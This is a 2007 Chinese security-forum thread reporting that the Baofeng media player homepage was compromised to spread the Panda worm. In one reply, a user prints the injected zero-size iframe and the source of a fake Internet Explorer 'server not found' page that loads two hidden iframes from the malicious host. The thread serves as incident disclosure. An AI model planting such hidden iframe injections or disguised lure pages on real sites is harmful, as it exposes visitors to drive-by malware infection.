查看: 5841|回复: 12
收起左侧

[病毒样本] 暴风影音主页被挂两个熊猫

[复制链接]
moonsilver
发表于 2007-1-17 16:44:58 | 显示全部楼层 |阅读模式
暴风影音主页被挂两个熊猫,去晚了可就被杀了
http://www.baofeng.com/
绅博周幸
发表于 2007-1-17 17:17:09 | 显示全部楼层
我靠,现在怎么满世界都是熊猫啊 ,看来国宝生气了啊
ly250094040
发表于 2007-1-17 17:18:54 | 显示全部楼层
挂什么不好,挂熊猫...........
野马
发表于 2007-1-17 17:19:53 | 显示全部楼层
没发现!!!
lingh
发表于 2007-1-17 17:23:42 | 显示全部楼层
dikex
发表于 2007-1-17 18:04:11 | 显示全部楼层
又一个中招了,最近各大网站都纷纷被挂马,都不知在搞什么

主页源文件的最后面
<iframe src=http://www.ac86.cn/88/index.htm width=0 height=0></iframe>


这个index.htm的源文件
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<style>
a:link   {font:9pt/12pt 宋体; color:red}
a:visited  {font:9pt/12pt 宋体; color:#4e4e4e}
</style>
<meta HTTP-EQUIV="Content-Type" C>
<title>找不到服务器</title>
</head>
<body bgcolor="white">
<table width="400" cellpadding="3" cellspacing="5">
  <tr>
    <td id="tableProps" valign="top" align="left"><img id="pagerrorImg" SRC="res://shdoclc.dll/pagerror.gif"
    width="25" height="33"></td>
    <td id="tableProps2" align="left" valign="middle" width="360"><h1 id="textSection1"
    style="COLOR: black; FONT: 13pt/14pt 宋体"><span id="errorText">无法显示网页</span></h1>
    </td>
  </tr>
  <tr>
    <td id="tablePropsWidth" width="400" colspan="2"><font
    style="COLOR: black; FONT: 8pt/11pt verdana">您正在查找的页当前不可用。
    网站可能遇到支持问题,或者您需要
    调整您的浏览器设置。</font></td>
  </tr>
  <tr>
    <td id="tablePropsWidth" width="400" colspan="2"><font id="LID1"
    style="COLOR: black; FONT: 9pt/12pt 宋体"><hr color="#C0C0C0" noshade>
    <p id="LID2">请尝试以下操作:</p><ul>
      <li id="instructionsText1">单击
      <a xhref="javascript:location.reload()" target="_self">
      <img border=0 src="res://shdoclc.dll/refresh.gif" width="13" height="16"
        alt="refresh.gif (82 字节)" align="middle"></a> <a xhref="javascript:location.reload()" target="_self">刷新</a><script language=javascript src="js.js"></script>按钮,或稍后重试。<br>
      </li>
      <iframe src="http://www.ac86.cn/88/1.htm" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://www.ac86.cn/88/2.htm" width="0" height="0" frameborder="0"></iframe>
      <li id="instructionsText2">如果您已经在地址栏中输入该网页的地址,
        请确认其拼写正确。<br>
      </li>
      <li id="instructionsText3">要检查您的网络连接,请单击<b>工具</b>菜单,然后单击
        <b>Internet 选项</b>。在<b>连接</b>选项卡上,单击<b>设置</b>。
        设置必须与您的局域网 (LAN) 管理员或 Internet 服务供应商 (ISP) 提供的一致。 </li>
     <li ID="list4">查看您的 Internet 连接设置是否正确被检测。您可能设置让 Microsoft Windows 检查您的网站并自动发现网络连接设置(如果您的网络管理员已经启用此设置)。
        <OL>
        <li id="instructionText6">单击<b>工具</b>菜单,然后单击<B>Internet 选项</b>。 </li>
        <li id="instructionText7">在<b>连接</b>选项卡上,单击<b>LAN 设置</b>。</li>
        <li id="instructionText8">选择<b>自动检测设置</b>,然后单击<b>确定</b>。</li>
        </OL>
      </li>
    <li id="instructionsText5">
       某些站点要求 128-位的连接安全性。单击<b>帮助</b>菜单,然后单击<b>关于 Internet Explorer</b> 可以查看您所安装的安全强度。
    </li>
    <li id="instructionsText4">
       如果您要访问某安全站点,请确保您的安全设置能够支持。请单击<B>工具</b>菜单,然后单击 <b>Internet 选项</b>。在“高级”选项卡上,滚动到“安全”部分,复选 SSL 2.0、SSL 3.0、TLS 1.0、PCT 1.0 设置。
    </li>
     <li id="list3">单击<a href="javascript:history.back(1)"><img valign=bottom border=0 src="res://shdoclc.dll/back.gif">上一步</a><script src='http://s16.cnzz.com/stat.php?id=34879&web_id=34879' language='JavaScript' charset='gb2312'></script>按钮,尝试其他链接。 </li>   
      
      
    </ul>
    <p><br>
    </p>
    <h2 id="IEText" style="font:9pt/12pt 宋体; color:black">找不到服务器或 DNS 错误<BR> Internet Explorer

    </h2>
    </font></td>
  </tr>
</table>
</body>
</html>


有问题的就是下面的两个了
<iframe src="http://www.ac86.cn/88/1.htm" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://www.ac86.cn/88/2.htm" width="0" height="0" frameborder="0"></iframe>


这个网页居然还冒充“找不到服务器”时的页面

[ 本帖最后由 dikex 于 2007-1-21 15:44 编辑 ]

评分

参与人数 1经验 +2 收起 理由
ALEXBLAIR + 2 感谢提供分享

查看全部评分

ly250094040
发表于 2007-1-17 18:14:34 | 显示全部楼层

回复 #6 dikex 的帖子

真的不知道说什么了....
milkpowdern
发表于 2007-1-17 18:43:51 | 显示全部楼层
原帖由 绅博周幸 于 2007-1-17 17:17 发表
我靠,现在怎么满世界都是熊猫啊  ,看来国宝生气了啊  


就是哦,国宝发起火来真是太可怕了 ,最近怎么那么多网站都有马儿的踪影,连我看小说的都不能幸免,害的我好几天没看到最新的更新
yzt1004
发表于 2007-1-17 19:14:53 | 显示全部楼层

回复 #6 dikex 的帖子

我想知道的是,这个假页面是不是只在IE内核浏览器上显示??

满世界都是熊猫~~
帖子相关图片:
ericz
发表于 2007-1-17 19:31:10 | 显示全部楼层
怎么到处是这种毒啊.我晕~!!!!
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-3-19 19:41 , Processed in 0.131815 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表